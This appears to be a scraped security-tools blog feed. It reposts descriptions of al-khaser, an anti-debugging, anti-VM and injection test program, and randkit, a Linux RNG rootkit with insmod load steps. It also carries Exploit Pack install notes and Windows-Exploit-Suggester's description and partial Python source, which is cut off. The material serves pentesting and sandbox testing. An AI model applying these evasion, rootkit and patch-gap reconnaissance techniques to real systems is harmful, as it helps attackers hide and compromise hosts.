al-khaser is a PoC malware with good intentions that aimes to stress your anti-malware system.

It performs a bunch of nowadays malwares tricks and the goal is to see if you catch them all.
Possible uses :
+ You are making an anti-debug plugin and you want to check its effectiveness.
+ You want to ensure that your sandbox solution is hidden enough.
+ Or you want to ensure that your malware analysis environment is well hidden.

Please, if you encounter any of the anti-analysis tricks which you have seen in a malware, don’t hesitate to contribute.
Features:
+ Anti-debugging attacks
— IsDebuggerPresent
— CheckRemoteDebuggerPresent
— Process Environement Block (BeingDebugged)
— Process Environement Block (NtGlobalFlag)
— ProcessHeap (Flags)
— ProcessHeap (ForceFlags)
— NtQueryInformationProcess (ProcessDebugPort)
— NtQueryInformationProcess (ProcessDebugFlags)
— NtQueryInformationProcess (ProcessDebugObject)
— NtSetInformationThread (HideThreadFromDebugger)
— NtQueryObject (ObjectTypeInformation)
— NtQueryObject (ObjectAllTypesInformation)
— CloseHanlde (NtClose) Invalide Handle
— UnhandledExceptionFilter
— OutputDebugString (GetLastError())
— Hardware Breakpoints (SEH / GetThreadContext)
— Software Breakpoints (INT3 / 0xCC)
— Memory Breakpoints (PAGE_GUARD)
— Interrupt 0x2d
— Interrupt 1
— Parent Process (Explorer.exe)
— SeDebugPrivilege (Csrss.exe)
— NtYieldExecution / SwitchToThread
+ Anti-virtualization
— Virtualbox registry key values artifacts:
–+ “HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier)
–+ HARDWARE\Description\System (SystemBiosVersion)
–+ HARDWARE\Description\System (VideoBiosVersion)
–+ HARDWARE\Description\System (SystemBiosDate)
— Virtualbox registry Keys artifacts
–+ “HARDWARE\ACPI\RSDT\VBOX__”
–+ “HARDWARE\ACPI\FADT\VBOX__”
–+ “HARDWARE\ACPI\RSDT\VBOX__”
–+ “SOFTWARE\Oracle\VirtualBox Guest Additions”
–+ “SYSTEM\ControlSet001\Services\VBoxGuest”
–+ “SYSTEM\ControlSet001\Services\VBoxMouse”
–+ “SYSTEM\ControlSet001\Services\VBoxService”
–+ “SYSTEM\ControlSet001\Services\VBoxSF”
–+ “SYSTEM\ControlSet001\Services\VBoxVideo”
— Virtualbox file system artifacts:
–+ “system32\drivers\VBoxMouse.sys”
–+ “system32\drivers\VBoxGuest.sys”
–+ “system32\drivers\VBoxSF.sys”
–+ “system32\drivers\VBoxVideo.sys”
–+ “system32\vboxdisp.dll”
–+ “system32\vboxhook.dll”
–+ “system32\vboxmrxnp.dll”
–+ “system32\vboxogl.dll”
–+ “system32\vboxoglarrayspu.dll”
–+ “system32\vboxoglcrutil.dll”
–+ “system32\vboxoglerrorspu.dll”
–+ “system32\vboxoglfeedbackspu.dll”
–+ “system32\vboxoglpackspu.dll”
–+ “system32\vboxoglpassthroughspu.dll”
–+ “system32\vboxservice.exe”
–+ “system32\vboxtray.exe”
–+ “system32\VBoxControl.exe”
–Virtualbox directories artifacts:
–+ “oracle\virtualbox guest additions\”
— Virtualbox MAC Address:
–+ “\x08\x00\x27”
— Virtualbox virtual devices:
–+ “\\.\VBoxMiniRdrDN”
–+ “\\.\VBoxGuest”
–+ “\\.\pipe\VBoxMiniRdDN”
–+ “\\.\VBoxTrayIPC”
–+ “\\.\pipe\VBoxTrayIPC”)
–+ Virtualbox Windows Class
–+ VBoxTrayToolWndClass
–+ VBoxTrayToolWnd
–+ Virtualbox network share
–+ VirtualBox Shared Folders
–+ Virtualbox process list
–+ vboxservice.exe
–+ vboxtray.exe
+ Anti Dumping
— Erase PE header from memory
+ Code/DLL Injections techniques
— CreateRemoteThread
— SetWindowsHooksEx
— NtCreateThreadEx
— RtlCreateUserThread
— APC (QueueUserAPC / NtQueueApcThread)
— RunPE (GetThreadContext / SetThreadContext)

Download from source: al-khaser.zip
Source : https://github.com/LordNoteworthy | Our Post Before

randkit – Random number rootkit for the Linux kernel.

$
0
0

NOTICE: THIS POST FOR RESEARCH PURPOSE ONLY!
randkit is an Random number rootkit for the Linux kernel with zero and xor128 rootkits.
bufferoverflow test:
– fdrandom
– getrandom
– writefdrandom
– xor128

an example object dump from randkit_xor128 module

an example object dump from randkit_xor128 module

randkit tests

randkit tests

randkit_xor128

randkit_xor128

Usage:

we assume your linux machine has been install linux header 3.13.0-37
git clone https://github.com/vrasneur/randkit && cd randkit
cd tests, xor128, zero and run make command
insmod randkit_zero.ko (for load randkit_zero module into kernel) [port your victim]
insmod randkit_xor128.ko (for load randkit_xor128.ko module into kernel)
then
test your rootkit
./xor128 (your victim) [an example]


Note From US;
other linux kernel module command:
depmod — Generate a list of kernel module dependencies and associated map files.
lsmod — Show the status of Linux kernel modules.
modinfo — Show information about a Linux kernel module.
modprobe — Add and remove modules from the Linux kernel.
rmmod — Remove a module from the Linux kernel.

Source: https://github.com/vrasneur

exploit pack – list your new exploit on Exploit Pack you will need.

$
0
0

Exploit Pack has been designed by an experienced team of software developers and exploit writers to automate processes so that penetration testers can focus on what’s really important. The threat. This blend of software engineers and subject matter experts provides an unique advantage by combining technical know-how with true insight into the problem set, resulting in more efficient solutions for cyber security surveillance.exploitpack1

Latest change 9/1/2016: Check for interpreter path

========================
Installation notes:
========================

Windows:
Download and install Java 8 from Oracle:
Windows Java SE Java 8 for 32 bits or Java 8 for 64 bits
After you have installed Java 8 in your machine, double click ExplotPack.jar or from a console run this command: “java -jar ExploitPack.jar”

Linux:
Under any Linux distribution that supports DEB packages like Ubuntu, Debian, Kali, etc. you can run the following commands to install Java 8 from an official repository
Copy and paste the following in a terminal window:

echo “deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main” >> /etc/apt/sources.list
echo “deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu precise main” >> /etc/apt/sources.list
sudo apt-key adv –keyserver keyserver.ubuntu.com –recv-keys EEA14886
sudo apt-get update
sudo apt-get install oracle-java8-installer

OSX:
Download and install Java 8 for OSX 32/64 bits from Oracle: OSX Java 8 32/64 bits
After you have Java 8 installed in your Mac, double click ExploitPack.jar to run it or from a console: “java -jar ExploitPack.jar”

========================
BUILD OUTPUT DESCRIPTION
========================

When you build an Java application project that has a main class, the IDE automatically copies all of the JAR
files on the projects classpath to your projects dist/lib folder. The IDE also adds each of the JAR files to the Class-Path element in the application JAR files manifest file (MANIFEST.MF).

To run the project from the command line, go to the dist folder and type the following:

java -jar “ExploitPack.jar”

To distribute this project, zip up the dist folder (including the lib folder) and distribute the ZIP file.

Notes:
* If two JAR files on the project classpath have the same name, only the first JAR file is copied to the lib folder.
* Only JAR files are copied to the lib folder. If the classpath contains other types of files or folders, these files (folders)
are not copied.
* If a library on the projects classpath also has a Class-Path element specified in the manifest,the content of the Class-Path element has to be on the projects runtime path.
* To set a main class in a standard Java project, right-click the project node in the Projects window and choose Properties. Then click Run and enter the class name in the Main Class field. Alternatively, you can manually type theclass name in the manifest Main-Class element.

Usage Debian/Kali 2.0/Ubuntu:

echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main" >> /etc/apt/sources.list
echo "deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu precise main" >> /etc/apt/sources.list
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys EEA14886
sudo apt-get update
sudo apt-get install oracle-java8-installer

git clone https://github.com/juansacco/exploitpack && cd exploitpack
java -jar ExploitPack.jar

Source: http://exploitpack.com | https://github.com/juansacco

Windows-Exploit-Suggester v3.1.

$
0
0

changelog v31 2016-02-10:
+ changed bulletin url, microsoft 404’d itusage-windows-exploit-suggester

This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.
It requires the ‘systeminfo’ command output from a Windows host in order to compare that the Microsoft security bulletin database and determine the patch level of the host.

It has the ability to automatically download the security bulletin database from Microsoft with the –update flag, and saves it as an Excel spreadsheet.helper-windows-exploit-suggester

When looking at the command output, it is important to note that it assumes all vulnerabilities and then selectively removes them based upon the hotfix data. This can result in many false-positives, and it is key to know what software is actually running on the target host. For example, if there are known IIS exploits it will flag them even if IIS is not running on the target host.
The output shows either public exploits (E), or Metasploit modules (M) as indicated by the character value.

update the database

$ ./windows-exploit-suggester.py --update
[*] initiating...
[*] successfully requested base url
[*] scraped ms download url
[+] writing to file 2014-06-06-mssb.xlsx
[*] done

Usage :

$ ./windows-exploit-suggester.py --update
[*] initiating...
[*] successfully requested base url
[*] scraped ms download url
[+] writing to file 2014-06-06-mssb.xlsx
[*] done

 install dependencies

(install python-xlrd, $ pip install xlrd –upgrade)
feed it “systeminfo” input, and point it to the microsoft database

$ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt 
[*] initiating...
[*] database file detected as xls or xlsx based on extension
[*] reading from the systeminfo input file
[*] querying database file for potential vulnerabilities
[*] comparing the 15 hotfix(es) against the 173 potential bulletins(s)
[*] there are now 168 remaining vulns
[+] windows version identified as 'Windows 7 SP1 32-bit'
[*] 
[M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical
[M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical
[M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical
[M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical
[M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[*] done

possible exploits for an operating system can be used without hotfix data

$ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext 'windows server 2008 r2' 
[*] initiating...
[*] database file detected as xls or xlsx based on extension
[*] getting OS information from command line text
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 196 potential bulletins(s)
[*] there are now 196 remaining vulns
[+] windows version identified as 'Windows 2008 R2 64-bit'
[*] 
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical

Currently, if the ‘systeminfo’ command reveals ‘File 1’ as the output for the hotfixes, it will not be able to determine which are installed on the target. If this occurs, the list of hotfixes will need to be retrieved from the target host and passed in using the –hotfixes flag

It currently does not seperate ‘editions’ of the Windows OS such as ‘Tablet’ or ‘Media Center’ for example, or different architectures, such as Itanium-based only. False positives also occur where it assumes EVERYTHING is installed on the target Windows operating system. If you receive the ‘Fil 1’ output, try executing ‘wmic qfe list full’ and feed that as input with the –hotfixes flag, along with the ‘systeminfo’

Script :

#!/usr/bin/env python
#
# Windows Exploit Suggester
# revision 3.0, 2016-01-04
#
# author: Sam Bertram, Gotham Digital Science
# contact: labs@gdssecurity.com,sbertram@gdssecurity.com,sammbertram@gmail.com
# blog post: "Introducing Windows Exploit Suggester", http://blog.gdssecurity.com/
# 
# DESCRIPTION
# 
# This tool compares a targets patch levels against the Microsoft vulnerability
# database in order to detect potential missing patches on the target. It also
# notifies the user if there are public exploits and Metasploit modules
# available for the missing bulletins.
#
# It requires the 'systeminfo' command output from a Windows host in order to
# compare that the Microsoft security bulletin database and determine the 
# patch level of the host.
#
# It has the ability to automatically download the security bulletin database
# from Microsoft with the --update flag, and saves it as an Excel spreadsheet.
#
# When looking at the command output, it is important to note that it assumes
# all vulnerabilities and then selectively removes them based upon the hotfix
# data. This can result in many false-positives, and it is key to know what
# software is actually running on the target host. For example, if there are
# known IIS exploits it will flag them even if IIS is not running on the
# target host.
#
# The output shows either public exploits (E), or Metasploit modules (M) as
# indicated by the character value. 
#
# It was heavily inspired by Linux_Exploit_Suggester by Pentura.
#
# Blog Post: "Introducing Windows Exploit Suggester", https://blog.gdssecurity.com/labs/2014/7/11/introducing-windows-exploit-suggester.html
#
# USAGE
# 
# update the database
#
# $ ./windows-exploit-suggester.py --update
# [*] initiating...
# [*] successfully requested base url
# [*] scraped ms download url
# [+] writing to file 2014-06-06-mssb.xlsx
# [*] done
#
# install dependencies
#
# (install python-xlrd, $ pip install xlrd --upgrade)
#
# feed it "systeminfo" input, and point it to the microsoft database
#
# $ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt 
# [*] initiating...
# [*] database file detected as xls or xlsx based on extension
# [*] reading from the systeminfo input file
# [*] querying database file for potential vulnerabilities
# [*] comparing the 15 hotfix(es) against the 173 potential bulletins(s)
# [*] there are now 168 remaining vulns
# [+] windows version identified as 'Windows 7 SP1 32-bit'
# [*] 
# [M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical
# [E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
# [M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
# [M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical
# [M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical
# [M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical
# [M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical
# [M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
# [M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
# [M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
# [*] done
#
# possible exploits for an operating system can be used without hotfix data
# $ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext 'windows server 2008 r2' 
# [*] initiating...
# [*] database file detected as xls or xlsx based on extension
# [*] getting OS information from command line text
# [*] querying database file for potential vulnerabilities
# [*] comparing the 0 hotfix(es) against the 196 potential bulletins(s)
# [*] there are now 196 remaining vulns
# [+] windows version identified as 'Windows 2008 R2 64-bit'
# [*] 
# [M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
# [M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
# [E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
# [M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
# [M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
# [E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
# [E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
# [M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
# [M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
#
# TROUBLESHOOTING
#
# If you're receiving the following error message, update the xlrd library
# $ pip install xlrd --update
#
# [*] initiating winsploit version 24...
# [*] database file detected as xls or xlsx based on extension
# Traceback (most recent call last):
# 	  File "windows-exploit-suggester/windows-exploit-suggester.py", line 1414, in <module>
# 	      main()
# 	        File "windows-exploit-suggester/windows-exploit-suggester.py", line 354, in main
# 		    wb = xlrd.open_workbook(ARGS.database)
# 		      File "/usr/lib/pymodules/python2.7/xlrd/__init__.py", line 370, in open_workbook
# 		          biff_version = bk.getbof(XL_WORKBOOK_GLOBALS)
# 			    File "/usr/lib/pymodules/python2.7/xlrd/__init__.py", line 1323, in getbof
# 			        raise XLRDError('Expected BOF record; found 0x%04x' % opcode)
# 			xlrd.biffh.XLRDError: Expected BOF record; found 0x4b50
#
# LIMITATIONS
#
# Currently, if the 'systeminfo' command reveals 'File 1' as the output for
# the hotfixes, it will not be able to determine which are installed on
# the target. If this occurs, the list of hotfixes will need to be 
# retrieved from the target host and passed in using the --hotfixes flag
#
# It currently does not seperate 'editions' of the Windows OS such as
# 'Tablet' or 'Media Center' for example, or different architectures, such as
# Itanium-based only
#
# False positives also occur where it assumes EVERYTHING is installed
# on the target Windows operating system. If you receive the 'File 1'
# output, try executing 'wmic qfe list full' and feed that as input
# with the --hotfixes flag, along with the 'systeminfo'
#
# LICENSE
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
# TODOLIST
#
# TODO better if/then/case when detecting OS. more flexibility with parsing
#     different systeminfo output
# TODO seperate by editions? may result in false positives
# TODO count the number of exploits in the summary prior to outputting it?
# TODO finish -s --search function so that all info on an MS number can be
#      returned
# TODO add titles to exploit list so that it is more portable
# TODO test for Windows RT systeminfo output
# TODO improved msf/poc output? perhaps adding details on each MS number?
# TODO if it's running on windows, then try and execute the systeminfo command?
# TODO SPEED. this is now way too slow...  somewhat improved!
# TODO automatically install python module? xlrd.
# TODO manually override MS11-011 for Non-Affected Products. The bulletin
# database is wrong.
#  Windows 7 for 32-bit Systems Service Pack 1
#  Windows 7 for x64-based Systems Service Pack 1
#  Windows Server 2008 R2 for x64-based Systems Service Pack 1
#  Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
#
# CHANGE LOG
# v31 2016-02-10
# - changed bulletin url, microsoft 404'd it
#	
# v30 2016-01-04
# - added exploits and bulletins from the past six months
#
# v29 2015-09-16
# - adding support for windows 10
#
# v28 2015-07-30
# - added bulletin scraping for xlsx and xls files using regex. thanks to
#   edebernis for reporting the bug
# - added ms15-022, ms15-015 update to msf
#
# v27 2015-06-18
# - added new bulletin url that is only xls and not xlsx. thanks to bstork for
#   reporting the bug
# - added ms15-010, ms15-051, and ms15-052
#
# v26 2015-06-02
# - small bug fix with linked output
# - added duplicates flag that can allow for bulletins to be displayed
#   multiple times. this will allow for greater analysis on linked bulletins
#
# v25 2015-05-18
# - added ms15-051 local priv
#
# v24 2015-01-30
# - added --sub/-s command in order to display output of msids as linked
#   this aides in demonstrating what patches need to be applied precisely. 
#   this change was implemented in v23, but only followed the depth to level
#   1 instead of the entire way.
# - fixed a bug that know allows for multiple supercedes msids in the db
# - allowed for getarchitecture to be recursive, and reduced redunancy when
#   it is called throughout the program
# - added ms14-070
#
# v23 2015-01-26
# - typo in --local flag case (pontential vs potential). issue #5 closed. 
#
# v22 2015-01-23
# - speed optimisations! it was too slow beforehand. realised i could easily
#   make it a bit more efficient
# 
# v21 2015-01-22
# - changed display formatting to include nested/linked MS numbers. makes it
#   easier to determine the dependencies
# - made args global
# - changed some code formatting, including double-space instead of \t
# - added some additional comments
# - disable ANSI output if on windows platform 
# - added recent exploits
#
# v20 2014-12-16
# - added ms14-068,ms14-064,ms14-060, and ms14-058 to the internal vuln list
#
# v19 2014-10-08
# - added support for windows server 2012, this includes ignoring the
#   architecture for 2012, and forcing from 32-bit to 64-bit
#
# v18 2014-09-02
# - added ms14-029 poc
#
# v17 2014-08-05
# - fixed a bug where it would not detect OS version when a unicode char comes
#   before search string
#
# v16 2014-07-28
# - improved reading of various file encodings for systeminfo. now attempts to 
#   detect the file first, otherwise loops through common encodings
# - improved OS, service pack, architecture, and release detection. this is now
#   not English-dependent as it was previously
# - better architecture detection of systeminfo input (look for -based string)
# - added /usr/bin/env python
# - added ms14-035 poc
#
# v15 2014-07-15
# - changed file open to io, and attempt to decode as utf-8; otherwise attempt
#   utf-16
#
# v14 2014-07-13
# - allowed for --ostext flag to properly supersede OS detection of systeminfo
#   input
#
# v13a 2014-07-01
# - added new msf flags for ms13-097, and ms14-009
#
# v12a 2014-06-06
# - quick cleanup for release
#
# v11a 2014-05-02
# - fixed the bulletin scrape regex for the update command. ms changed it
#
# v10a 2014-03-24
# - added a hotfixes argument, that can be used to supplement the list
#  of hotfixes detected in the systeminfo input
# - added severity at the end of the output when reporting bulletins
# - added a 'patches' argument, that can be used to determine any
#  of the hotfixes for a specific bulletin. this is good for debugging.
#
# v09a 2014-03-18
# - again, another massive bug on the linked kb searching function
#   getlinkedms(). should be fixed now
# - also checks columns 11 and 12 for superseded, i think it has to
#   do with dos and *nix output
#
# v08a 2014-02-14
# - bug where the superseded column wasn't being checked
#   this may be because it's only xlsx and it parsed differently in csv
# - added some new exploits from edb
#
# v07a 2014-02-12
# - added indicator for os version, and in green
# - better parsing of architecture for itanium based support
#
# v06a 2014-01-19
# - added 'ostext' or 'o' option, when don't have any patch information
#   but just know the OS
#
# v05a
# - added a check for "Kernel version" column, as well as "OS version"
#
# v04a
# - added support for XLSX files directly with the updated XLRD library, this
#   requires the python-xlrd library to be installed and upgraded with:
#   $ pip install xlrd --upgrade
# - changed MS13-101 to E, as there isn't a metasploit module (yet!)
#
# v03a
# - fixed an issue where component KB wasn't being checked
#
# FUNCTIONS
#
# def main():
# def run(database):
# def detect_encoding(filename):
# def trace(database):
# def patches(database):
# def getversion(name, release, servicepack, architecture):
# def getname(ostext):
# def getrelease(ostext):    
# def getservicepack(ostext):
# def getarchitecture(ostext):
# def getitanium(ostext):
# def getpatch(ostext):
# def getbulletinids(haystack):
# def isaffected(name, release, servicepack, architecture, haystack):
# def getlinkedms(msids, database):
# def getexploit(msid = 0):
# def update():
# def merge_list(li):
#
import re
import platform
import argparse
import subprocess
import csv
import StringIO
import os
import datetime
import urllib2
import io
from random import randint
from time import sleep
from tempfile import NamedTemporaryFile

# constants/globals
MSSB_URL = 'http://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982'
BULLETIN_URL = 'http://download.microsoft.com/download/6/7/3/673E4349-1CA5-40B9-8879-095C72D5B49D/BulletinSearch.xlsx'
VERSION = "3.1"

# global parser
parser = argparse.ArgumentParser(description="search microsoft security bulletins for exploits based upon the patch level of the machine by feeding in systeminfo command")
parser.add_argument("-v", "--verbose", help="verbose output", action="store_true")
parser.add_argument("-i", "--systeminfo", help="feed in an input file that contains the 'systeminfo' command")
parser.add_argument("-d", "--database", help="the file that contains the microsoft security bulletin database")
parser.add_argument("-u", "--update", help="required flag to even run the script", action="store_true")
parser.add_argument("-a", "--audit", help="show all entries, not only exploits", action="store_true")
parser.add_argument("-t", "--trace", help="used to determine linked ms bulletins")
parser.add_argument("-p", "--patches", help="used to determine specific patches for a ms bulletin")
parser.add_argument("-o", "--ostext", help="a loose text representation of the windows OS (ex: \"windows xp home edition sp2\")")
parser.add_argument("-s", "--sub", help="generate output using linked/sub bulletins. WARNING: SLOW!", action="store_true")
parser.add_argument("-2", "--duplicates", help="allow duplicate ms bulletin output within the results. this will produce a lot of output, but is useful when determining linked ms bulletins", action="store_true")
# hotfixes
# used to parse "wmic qfe list full" input, and to solve the 'File 1' errors
parser.add_argument("-H", "--hotfixes", help="a loose list of hotfixes to be added, for use with the following command: 'wmic qfe list full'")

# search by exploit type only
exptypegroup = parser.add_mutually_exclusive_group()
exptypegroup.add_argument("-r", "--remote", help="search remote exploits only", action="store_true")
exptypegroup.add_argument("-l", "--local", help="search local exploits only", action="store_true")

# global args parsed
ARGS = parser.parse_args()

def main():
  ALERT("initiating winsploit version %s..." % VERSION)

  database = ''

  # if there is a database switch
  if ARGS.database:

    # split name and extension
    name, extension = os.path.splitext(ARGS.database)

    # csv
    if 'csv' in extension:

      ALERT("database file detected as csv based on extension", ALERT.NORMAL)

      # attempt to open the file
      try:
        dbfile = open(ARGS.database, 'r')

      except IOError, e:
        ALERT("could not open the file %s" % filename, ALERT.BAD)
        exit(1)

      data = ''
      for line in dbfile:
        data += line
      database = data

      dbfile.close()

    # xls or xslx
    elif 'xls' in extension:

      ALERT("database file detected as xls or xlsx based on extension", ALERT.NORMAL)

      try:
        import xlrd
      except ImportError as e:
        ALERT("please install and upgrade the python-xlrd library", ALERT.BAD)
        exit(1)

      # open the xls file
      try:
        wb = xlrd.open_workbook(ARGS.database)
      except IOError as e:
        ALERT("no such file or directory '%s'. ensure you have the correct database file passed in --database/-d" % ARGS.database, ALERT.BAD)
        exit(1)
      sh = wb.sheet_by_name('Bulletin Search')

      # read the spreadsheet into a temp file
      f = NamedTemporaryFile(mode='wb')
      wr = csv.writer(f, quoting=csv.QUOTE_NONE, delimiter=',')

      data = ''

      # loop through xls
      for rownum in xrange(sh.nrows):

        values = sh.row_values(rownum)

        # loop through row values, and process input
        for i in range(len(values)):
          values[i] = unicode(values[i]).encode('utf8')
          values[i] = values[i].replace('\n',' ')
          values[i] = values[i].replace(',','')
          values[i] = values[i].replace('.0','')

        data += ",".join(values)
        data += '\n'
  
      # set the database to the csv data
      database = data

    # unknown filetype, error
    else:
      ALERT("unknown filetype. change file extension to indicate csv or xls/xlsx", ALERT.BAD)
      exit(1)

  if ARGS.trace: trace(database)
  elif ARGS.systeminfo or ARGS.ostext: run(database)
  elif ARGS.update: update()
  elif ARGS.patches: patches(database)

  # error
  else:
    ALERT("an error occured while running, not enough arguments", ALERT.BAD)
    exit(1)

  ALERT("done")
  # end main()

def run(database):

  # variables used
  ostext=None
  name=None
  release=None
  servicepack=None
    
  # will default to 32-bit, but can be 64 bit or itanium
  architecture=None

  hotfixes=set([])
  bulletinids=set([])

  potential=[]
  
  vulns={}
  ids=set([])

  cmdoutput = []

  # test for database
  if not ARGS.database:
    ALERT("please supply a MSSB database file with the --database or -d flag, this can be downloaded using the --update command", ALERT.BAD)
    exit(1)

  # read from ostext first
  if ARGS.ostext:
    ALERT("getting OS information from command line text")
        
    name=getname(ARGS.ostext)
    release=getrelease(ARGS.ostext)
    servicepack=getservicepack(ARGS.ostext)
    architecture=getarchitecture(ARGS.ostext)
    
    # the os name at least has to be identified
    if not name:
      ALERT("unable to determine the windows version command line text from '%s'" % ARGS.ostext, ALERT.BAD)
      exit(1)

  # get the systeminfo information from the input file
  if ARGS.systeminfo:

    ALERT("attempting to read from the systeminfo input file")

    # when reading the systeminfo file, we want to attempt to detect it using chardet
    # if this doesn't work, we will loop through a list of common encodings and try them all
    encodings = ['utf-8', 'utf-16', 'utf-16-le', 'utf-16-be', 'iso-8859-2']

    detected_encoding =  detect_encoding(ARGS.systeminfo)

    # insert detected encoding to the front of the list
    if detected_encoding: 
      if ARGS.verbose: ALERT("detected encoding of file as '%s'" % detected_encoding)
      encodings.insert(0, detected_encoding)

    cmdfile = None
    cmdoutput = None
    
    # now loop through all encodings, with the detected one first (if it was possible)
    for encoding in encodings:

      if ARGS.verbose: ALERT("  attempting to read with '%s' encoding" % encoding)          

      # if we can read the file, and read the command output, we are done with the loop
      try: 
        cmdfile = io.open(ARGS.systeminfo, "r", encoding=encoding) # throws UnicodeDecodeError      
        cmdoutput = cmdfile.readlines() # throws UnicodeError
        break

      except (UnicodeError, UnicodeDecodeError) as e:
        ALERT("could not read file using '%s' encoding: %s" % (encoding, e), ALERT.BAD)
  
      # file might not exist
      except:
        ALERT("could not read from input file specified: %s" % ARGS.systeminfo, ALERT.BAD)
        exit(1)  

    # general catchall if somehow it was able to keep processing
    if not cmdfile or not cmdoutput:
      ALERT("could not read from input file, or could not detect encoding", ALERT.BAD)
      exit(1)
    
    # file read successfully
    ALERT("systeminfo input file read successfully (%s)" % encoding, ALERT.GOOD)

  # error
  if not ARGS.systeminfo and not ARGS.ostext and platform.system() != 'Windows':
    ALERT("please run from a Windows machine, or provide an input file using --systeminfo, or use the --ostext option to get data with no patch information", ALERT.BAD)
    exit(1)

  # parse the systeminfo information
  hotfix=False

  # loop through the systeminfo input
  for haystack in cmdoutput:

    # only attempt to set the version, arch, service pack if there is no
    # ostext flag
    if not ARGS.ostext:

      # when detecting the operating system version, every line (independent of language)
      # appears to have Microsoft Windows in it, sometimes with (R)
      if "Microsoft" in haystack and "Windows" in haystack and not name:
        name = getname(haystack)

      # the windows release is similar to the above and has the text 'Microsoft Windows' in the text
      if "Microsoft" in haystack and "Windows" in haystack and not release:
        release = getrelease(haystack)

      # similar to OS, there is the words 'Service Pack' 
      if "Service Pack" in haystack and not servicepack:
        servicepack = getservicepack(haystack)
      
      # get architecture only if -based is in the line, and --ostext hasn't been used
      if "-based" in haystack and not architecture: 
        architecture=getarchitecture(haystack)

    # look for kbs
    if ("KB" in haystack or "]: " in haystack):
      patch=getpatch(haystack)
      
      # if a patch was parsed
      if patch:
        if ARGS.verbose: ALERT("found hotfix %s" % patch)
        hotfixes.add(patch)

  # now process the hotfixes argument input
  if ARGS.hotfixes:
  
    # open the file
    try:
      cmdfile = open(ARGS.hotfixes, "r")

    except IOError as e:
      ALERT("could not read from input file specified: %s" % ARGS.hotfixes, ALERT.BAD)
      exit(1)

    ALERT("reading from the hotfixes input file")
    hotfixesfile = cmdfile.readlines()
    
    # loop through hotfixes file input
    for haystack in hotfixesfile:
      # look for kbs
      if ("KB" in haystack or "]: " in haystack):
        patch=getpatch(haystack)
        
        # if a patch was parsed
        if patch:
